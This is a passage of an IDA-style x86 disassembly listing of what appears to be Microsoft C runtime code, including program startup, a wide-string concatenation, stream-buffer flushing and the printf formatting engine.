sub_4184E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418577	proc near		; CODE XREF: sub_4131EE+2C6p
					; sub_4131EE+402p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset stru_42BE80
		call	__SEH_prolog
		push	[ebp+arg_0]
		call	sub_41B092
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4184E8
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4185B6
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_418577	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B6	proc near		; CODE XREF: sub_418577+31p
					; DATA XREF: .text:stru_42BE80o
		push	dword ptr [ebp+8]
		call	sub_41B0E4
		pop	ecx
		retn
sub_4185B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185C0	proc near		; CODE XREF: sub_41411D+75p
					; sub_41411D+85p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	word ptr [eax],	0
		mov	edx, eax
		jz	short loc_4185D4


loc_4185CC:				; CODE XREF: sub_4185C0+12j
		inc	edx
		inc	edx
		cmp	word ptr [edx],	0
		jnz	short loc_4185CC


loc_4185D4:				; CODE XREF: sub_4185C0+Aj
		push	esi
		mov	esi, [esp+4+arg_4]


loc_4185D9:				; CODE XREF: sub_4185C0+26j
		mov	cx, [esi]
		mov	[edx], cx
		inc	edx
		inc	edx
		inc	esi
		inc	esi
		test	cx, cx
		jnz	short loc_4185D9
		pop	esi
		retn
sub_4185C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185EA	proc near		; CODE XREF: .text:00418732p
					; .text:00418758p ...

arg_0		= dword	ptr  4

		cmp	dword_4811B0, 1
		jnz	short loc_4185F8
		call	sub_41DA6E


loc_4185F8:				; CODE XREF: sub_4185EA+7j
		push	[esp+arg_0]
		call	sub_41D8F7
		push	0FFh
		call	off_432360
		pop	ecx
		pop	ecx
		retn
sub_4185EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41860F	proc near		; CODE XREF: .text:00418708p
					; .text:00418719p

arg_0		= dword	ptr  4

		cmp	dword_4811B0, 1
		jnz	short loc_41861D
		call	sub_41DA6E


loc_41861D:				; CODE XREF: sub_41860F+7j
		push	[esp+arg_0]
		call	sub_41D8F7
		push	0FFh
		call	sub_418239
		pop	ecx
		pop	ecx
		retn
sub_41860F	endp

; ---------------------------------------------------------------------------
		push	60h
		push	offset stru_42BE90
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_416B20
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	dword_422120	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	dword_481164, ecx
		mov	eax, [esi+4]
		mov	dword_481170, eax
		mov	edx, [esi+8]
		mov	dword_481174, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_481168, esi
		cmp	ecx, 2
		jz	short loc_418693
		or	esi, 8000h
		mov	dword_481168, esi


loc_418693:				; CODE XREF: .text:00418685j
		shl	eax, 8
		add	eax, edx
		mov	dword_48116C, eax
		xor	esi, esi
		push	esi
		mov	edi, dword_4220A4
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4186CE
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_4186CE
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_4186E6
		cmp	eax, 20Bh
		jz	short loc_4186D3


loc_4186CE:				; CODE XREF: .text:004186ADj
					; .text:004186BAj ...
		mov	[ebp-1Ch], esi
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_4186D3:				; CODE XREF: .text:004186CCj
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_4186CE
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_4186F4
; ---------------------------------------------------------------------------


loc_4186E6:				; CODE XREF: .text:004186C5j
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_4186CE
		xor	eax, eax
		cmp	[ecx+0E8h], esi


loc_4186F4:				; CODE XREF: .text:004186E4j
		setnz	al
		mov	[ebp-1Ch], eax


loc_4186FA:				; CODE XREF: .text:004186D1j
		push	1
		call	sub_419FE3
		pop	ecx
		test	eax, eax
		jnz	short loc_41870E
		push	1Ch
		call	sub_41860F
		pop	ecx


loc_41870E:				; CODE XREF: .text:00418704j
		call	sub_4191D0
		test	eax, eax
		jnz	short loc_41871F
		push	10h
		call	sub_41860F
		pop	ecx


loc_41871F:				; CODE XREF: .text:00418715j
		call	sub_41D5EE
		mov	[ebp-4], esi
		call	sub_41E06B
		test	eax, eax
		jge	short loc_418738
		push	1Bh
		call	sub_4185EA
		pop	ecx


loc_418738:				; CODE XREF: .text:0041872Ej
		call	dword_42216C	; GetCommandLineA
		mov	dword_482968, eax
		call	sub_41DF49
		mov	dword_4811A8, eax
		call	sub_41DEA7
		test	eax, eax
		jge	short loc_41875E
		push	8
		call	sub_4185EA
		pop	ecx


loc_41875E:				; CODE XREF: .text:00418754j
		call	sub_41DC74
		test	eax, eax
		jge	short loc_41876F
		push	9
		call	sub_4185EA
		pop	ecx


loc_41876F:				; CODE XREF: .text:00418765j
		call	sub_41827B
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	short loc_418782
		push	eax
		call	sub_4185EA
		pop	ecx


loc_418782:				; CODE XREF: .text:00418779j
		mov	[ebp-38h], esi
		lea	eax, [ebp-64h]
		push	eax
		call	dword_422168	; GetStartupInfoA
		call	sub_41DC0B
		mov	[ebp-68h], eax
		test	byte ptr [ebp-38h], 1
		jz	short loc_4187A3
		movzx	eax, word ptr [ebp-34h]
		jmp	short loc_4187A6
; ---------------------------------------------------------------------------


loc_4187A3:				; CODE XREF: .text:0041879Bj
		push	0Ah
		pop	eax


loc_4187A6:				; CODE XREF: .text:004187A1j
		push	eax
		push	dword ptr [ebp-68h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_40FAD0
		mov	edi, eax
		mov	[ebp-6Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_4187C4
		push	edi
		call	sub_4183B3


loc_4187C4:				; CODE XREF: .text:004187BCj
		call	sub_4183D5
		jmp	short loc_4187F6
; ---------------------------------------------------------------------------


loc_4187CB:				; DATA XREF: .text:stru_42BE90o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-70h], ecx
		push	eax
		push	ecx
		call	sub_41DAA7
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4187DF:				; DATA XREF: .text:stru_42BE90o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-70h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_4187F1
		push	edi
		call	sub_4183C4


loc_4187F1:				; CODE XREF: .text:004187E9j
		call	sub_4183E4


loc_4187F6:				; CODE XREF: .text:004187C9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418805	proc near		; CODE XREF: sub_416905+4Bp
					; sub_416B5D+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_418911
		test	al, 40h
		jnz	loc_418911
		test	al, 1
		jz	short loc_41883E
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_418911
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41883E:				; CODE XREF: sub_418805+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41887A
		cmp	esi, offset dword_432658
		jz	short loc_418868
		cmp	esi, offset dword_432678
		jnz	short loc_418873


loc_418868:				; CODE XREF: sub_418805+59j
		push	ebx
		call	sub_41E4FD
		test	eax, eax
		pop	ecx
		jnz	short loc_41887A


loc_418873:				; CODE XREF: sub_418805+61j
		push	esi
		call	sub_41E4B9
		pop	ecx


loc_41887A:				; CODE XREF: sub_418805+51j
					; sub_418805+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_4188E7
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_4188A7
		push	edi
		push	eax
		push	ebx
		call	sub_41E40E
		mov	[ebp+arg_4], eax
		jmp	short loc_4188DA
; ---------------------------------------------------------------------------


loc_4188A7:				; CODE XREF: sub_418805+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4188C5
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_4188CA
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_418805+A5j
		mov	eax, offset dword_432C70


loc_4188CA:				; CODE XREF: sub_418805+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_4188DD
		push	2
		push	0
		push	ebx
		call	sub_41D6EA


loc_4188DA:				; CODE XREF: sub_418805+A0j
		add	esp, 0Ch


loc_4188DD:				; CODE XREF: sub_418805+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_418805+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_41E40E
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_4188FB:				; CODE XREF: sub_418805+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_418907
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_418917
; ---------------------------------------------------------------------------


loc_418907:				; CODE XREF: sub_418805+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41891A
; ---------------------------------------------------------------------------


loc_418911:				; CODE XREF: sub_418805+10j
					; sub_418805+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax


loc_418917:				; CODE XREF: sub_418805+100j
		or	eax, 0FFFFFFFFh


loc_41891A:				; CODE XREF: sub_418805+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418805	endp


; =============== S U B	R O U T	I N E =======================================



sub_41891E	proc near		; CODE XREF: sub_418951+11p
					; sub_418975+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_41892A
		cmp	dword ptr [ecx+8], 0
		jz	short loc_41894E


loc_41892A:				; CODE XREF: sub_41891E+4j
		dec	dword ptr [ecx+4]
		js	short loc_41893A
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_418946
; ---------------------------------------------------------------------------


loc_41893A:				; CODE XREF: sub_41891E+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_418805
		pop	ecx
		pop	ecx


loc_418946:				; CODE XREF: sub_41891E+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41894E
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_41894E:				; CODE XREF: sub_41891E+Aj
					; sub_41891E+2Bj
		inc	dword ptr [esi]
		retn
sub_41891E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418951	proc near		; CODE XREF: sub_4189AC+6A2p
					; sub_4189AC+6CDp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_41896C
; ---------------------------------------------------------------------------


loc_418959:				; CODE XREF: sub_418951+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_41891E
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_418972


loc_41896C:				; CODE XREF: sub_418951+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_418959


loc_418972:				; CODE XREF: sub_418951+19j
		pop	esi
		pop	ebp
		retn
sub_418951	endp


; =============== S U B	R O U T	I N E =======================================



sub_418975	proc near		; CODE XREF: sub_4189AC+6B6p
					; sub_4189AC+70Ep ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_4189A2
		cmp	dword ptr [edi+8], 0
		jnz	short loc_4189A2
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_4189A9
; ---------------------------------------------------------------------------


loc_41898F:				; CODE XREF: sub_418975+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_41891E
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4189A9


loc_4189A2:				; CODE XREF: sub_418975+Aj
					; sub_418975+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_41898F


loc_4189A9:				; CODE XREF: sub_418975+18j
					; sub_418975+2Bj
		pop	esi
		pop	ebx
		retn
sub_418975	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189AC	proc near		; CODE XREF: sub_416905+2Ap
					; sub_416B5D+29p ...

var_254		= byte ptr -254h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+arg_4]
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_419110
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_4189E4
; ---------------------------------------------------------------------------


loc_4189E1:				; CODE XREF: sub_4189AC+75Cj
		mov	ecx, [ebp+var_38]


loc_4189E4:				; CODE XREF: sub_4189AC+33j
		inc	edi
		cmp	[ebp+var_18], 0
		mov	[ebp+arg_4], edi
		jl	loc_41910E
		cmp	bl, 20h
		jl	short loc_418A0B
		cmp	bl, 78h
		jg	short loc_418A0B
		movsx	eax, bl
		movsx	eax, byte ptr stru_42BE80._unk[eax]
		and	eax, 0Fh
		jmp	short loc_418A0D
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_4189AC+49j
					; sub_4189AC+4Ej
		xor	eax, eax


loc_418A0D:				; CODE XREF: sub_4189AC+5Dj
		movsx	eax, byte_42BEA0[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+var_38], eax
		ja	loc_419101	; default
		jmp	off_419121[eax*4] ; switch jump


loc_418A2D:				; DATA XREF: .text:off_419121o
		xor	eax, eax	; jumptable 00418A26 case 1
		or	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_3C], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], eax
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A4A:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		movsx	eax, bl		; jumptable 00418A26 case 2
		sub	eax, 20h
		jz	short loc_418A8D
		sub	eax, 3
		jz	short loc_418A84
		sub	eax, 8
		jz	short loc_418A7B
		dec	eax
		dec	eax
		jz	short loc_418A72
		sub	eax, 3
		jnz	loc_419101	; default
		or	[ebp+var_8], 8
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A72:				; CODE XREF: sub_4189AC+B2j
		or	[ebp+var_8], 4
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A7B:				; CODE XREF: sub_4189AC+AEj
		or	[ebp+var_8], 1
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A84:				; CODE XREF: sub_4189AC+A9j
		or	byte ptr [ebp+var_8], 80h
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A8D:				; CODE XREF: sub_4189AC+A4j
		or	[ebp+var_8], 2
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418A96:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		cmp	bl, 2Ah		; jumptable 00418A26 case 3
		jnz	short loc_418ABC
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_24], eax
		jge	loc_419101	; default
		or	[ebp+var_8], 4
		neg	[ebp+var_24]
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418ABC:				; CODE XREF: sub_4189AC+EDj
		mov	eax, [ebp+var_24]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_24], eax
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418AD1:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		and	[ebp+var_C], 0	; jumptable 00418A26 case 4
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418ADA:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		cmp	bl, 2Ah		; jumptable 00418A26 case 5
		jnz	short loc_418AFD
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_C], eax
		jge	loc_419101	; default
		or	[ebp+var_C], 0FFFFFFFFh
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418AFD:				; CODE XREF: sub_4189AC+131j
		mov	eax, [ebp+var_C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B12:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		cmp	bl, 49h		; jumptable 00418A26 case 6
		jz	short loc_418B45
		cmp	bl, 68h
		jz	short loc_418B3C
		cmp	bl, 6Ch
		jz	short loc_418B33
		cmp	bl, 77h
		jnz	loc_419101	; default
		or	byte ptr [ebp+var_8+1],	8
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_4189AC+173j
		or	[ebp+var_8], 10h
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B3C:				; CODE XREF: sub_4189AC+16Ej
		or	[ebp+var_8], 20h
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B45:				; CODE XREF: sub_4189AC+169j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_418B5F
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_418B5F
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_8+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B5F:				; CODE XREF: sub_4189AC+19Dj
					; sub_4189AC+1A3j
		cmp	al, 33h
		jnz	short loc_418B77
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_418B77
		inc	edi
		inc	edi
		and	byte ptr [ebp+var_8+1],	7Fh
		mov	[ebp+arg_4], edi
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418B77:				; CODE XREF: sub_4189AC+1B5j
					; sub_4189AC+1BBj
		cmp	al, 64h
		jz	loc_419101	; default
		cmp	al, 69h
		jz	loc_419101	; default
		cmp	al, 6Fh
		jz	loc_419101	; default
		cmp	al, 75h
		jz	loc_419101	; default
		cmp	al, 78h
		jz	loc_419101	; default
		cmp	al, 58h
		jz	loc_419101	; default
		and	[ebp+var_38], 0


loc_418BAB:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		mov	ecx, off_432A40	; jumptable 00418A26 case 0
		and	[ebp+var_28], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_41891E
		mov	bl, [edi]
		inc	edi
		mov	[ebp+arg_4], edi


loc_418BD2:				; CODE XREF: sub_4189AC+211j
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_41891E
		jmp	loc_419101	; default
; ---------------------------------------------------------------------------


loc_418BE4:				; CODE XREF: sub_4189AC+7Aj
					; DATA XREF: .text:off_419121o
		movsx	eax, bl		; jumptable 00418A26 case 7
		cmp	eax, 67h
		jg	loc_418E36
		cmp	eax, 65h
		jge	loc_418C79
		cmp	eax, 58h
		jg	loc_418CDA
		jz	loc_418EB7
		sub	eax, 43h
		jz	loc_418C9C
		dec	eax
		dec	eax
		jz	short loc_418C6F
		dec	eax
		dec	eax
		jz	short loc_418C6F
		sub	eax, 0Ch
		jnz	loc_418FFF
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_418C2E
		or	byte ptr [ebp+var_8+1],	8


loc_418C2E:				; CODE XREF: sub_4189AC+27Cj
					; sub_4189AC+4A9j
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_418C3B
		mov	ecx, 7FFFFFFFh


loc_418C3B:				; CODE XREF: sub_4189AC+288j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		jz	loc_418E8C
		test	eax, eax
		jnz	short loc_418C60
		mov	eax, off_43236C
		mov	[ebp+var_10], eax


loc_418C60:				; CODE XREF: sub_4189AC+2AAj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], 1
		jmp	loc_418E7E
; ---------------------------------------------------------------------------


loc_418C6F:				; CODE XREF: sub_4189AC+267j
					; sub_4189AC+26Bj
		mov	[ebp+var_3C], 1
		add	bl, 20h


loc_418C79:				; CODE XREF: sub_4189AC+247j
		or	[ebp+var_8], 40h
		cmp	[ebp+var_C], 0
		lea	esi, [ebp+var_254]
		mov	[ebp+var_10], esi
		jge	loc_418D80
		mov	[ebp+var_C], 6
		jmp	loc_418DC7
; ---------------------------------------------------------------------------


loc_418C9C:				; CODE XREF: sub_4189AC+25Fj
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_418CA8
		or	byte ptr [ebp+var_8+1],	8


loc_418CA8:				; CODE XREF: sub_4189AC+2F6j
					; sub_4189AC+336j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		jz	short loc_418D19
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41E587
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		jge	short loc_418D29
		mov	[ebp+var_34], 1
		jmp	short loc_418D29
; ---------------------------------------------------------------------------


loc_418CDA:				; CODE XREF: sub_4189AC+250j
		sub	eax, 5Ah
		jz	short loc_418D37
		sub	eax, 9
		jz	short loc_418CA8
		dec	eax
		jnz	loc_418FFF


loc_418CEB:				; CODE XREF: sub_4189AC+48Dj
		or	[ebp+var_8], 40h


loc_418CEF:				; CODE XREF: sub_4189AC+4B1j
		mov	[ebp+var_14], 0Ah


loc_418CF6:				; CODE XREF: sub_4189AC+519j
					; sub_4189AC+532j ...
		mov	ebx, [ebp+var_8]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_418F27
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_418F4F
; ---------------------------------------------------------------------------


loc_418D19:				; CODE XREF: sub_4189AC+309j
		mov	al, [eax-4]
		mov	[ebp+var_254], al
		mov	[ebp+var_14], 1


loc_418D29:				; CODE XREF: sub_4189AC+323j
					; sub_4189AC+32Cj
		lea	eax, [ebp+var_254]
		mov	[ebp+var_10], eax
		jmp	loc_418FFF
; ---------------------------------------------------------------------------


loc_418D37:				; CODE XREF: sub_4189AC+331j
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_418D72
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_418D72
		test	byte ptr [ebp+var_8+1],	8
		movsx	eax, word ptr [eax]
		mov	[ebp+var_10], ecx
		jz	short loc_418D69
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_28], 1
		jmp	loc_418FFC
; ---------------------------------------------------------------------------


loc_418D69:				; CODE XREF: sub_4189AC+3AAj
		and	[ebp+var_28], 0
		jmp	loc_418FFC
; ---------------------------------------------------------------------------


loc_418D72:				; CODE XREF: sub_4189AC+397j
					; sub_4189AC+39Ej
		mov	eax, off_432368
		mov	[ebp+var_10], eax
		push	eax
		jmp	loc_418E2B
; ---------------------------------------------------------------------------


loc_418D80:				; CODE XREF: sub_4189AC+2DEj
		jnz	short loc_418D90
		cmp	bl, 67h
		jnz	short loc_418DC7
		mov	[ebp+var_C], 1
		jmp	short loc_418DC7
; ---------------------------------------------------------------------------


loc_418D90:				; CODE XREF: sub_4189AC:loc_418D80j
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_418D9D
		mov	[ebp+var_C], eax


loc_418D9D:				; CODE XREF: sub_4189AC+3ECj
		mov	edi, 0A3h
		cmp	[ebp+var_C], edi
		jle	short loc_418DC7
		mov	eax, [ebp+var_C]
		add	eax, 15Dh
		push	eax
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		mov	[ebp+var_2C], eax
		jz	short loc_418DC4
		mov	[ebp+var_10], eax
		mov	esi, eax
		jmp	short loc_418DC7
; ---------------------------------------------------------------------------


loc_418DC4:				; CODE XREF: sub_4189AC+40Fj
		mov	[ebp+var_C], edi


loc_418DC7:				; CODE XREF: sub_4189AC+2EBj
					; sub_4189AC+3D9j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+var_3C]
		add	eax, 8
		push	[ebp+var_C]
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_48], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		mov	[ebp+var_4C], ecx
		call	off_432A28
		mov	edi, [ebp+var_8]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_418E0C
		cmp	[ebp+var_C], 0
		jnz	short loc_418E0C
		push	esi
		call	off_432A34
		pop	ecx


loc_418E0C:				; CODE XREF: sub_4189AC+450j
					; sub_4189AC+456j
		cmp	bl, 67h
		jnz	short loc_418E1D
		test	edi, edi
		jnz	short loc_418E1D
		push	esi
		call	off_432A2C
		pop	ecx


loc_418E1D:				; CODE XREF: sub_4189AC+463j
					; sub_4189AC+467j
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_418E2A
		or	byte ptr [ebp+var_8+1],	1
		inc	esi
		mov	[ebp+var_10], esi


loc_418E2A:				; CODE XREF: sub_4189AC+474j
		push	esi


loc_418E2B:				; CODE XREF: sub_4189AC+3CFj
		call	sub_419D00
		pop	ecx
		jmp	loc_418FFC
; ---------------------------------------------------------------------------


loc_418E36:				; CODE XREF: sub_4189AC+23Ej
		sub	eax, 69h
		jz	loc_418CEB
		sub	eax, 5
		jz	loc_418EFD
		dec	eax
		jz	loc_418EE3
		dec	eax
		jz	short loc_418EB0
		sub	eax, 3
		jz	loc_418C2E
		dec	eax
		dec	eax
		jz	loc_418CEF
		sub	eax, 3
		jnz	loc_418FFF
		mov	[ebp+var_30], 27h
		jmp	short loc_418EBA
; ---------------------------------------------------------------------------


loc_418E75:				; CODE XREF: sub_4189AC+4D4j
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_418E82
		inc	eax
		inc	eax


loc_418E7E:				; CODE XREF: sub_4189AC+2BEj
		test	ecx, ecx
		jnz	short loc_418E75


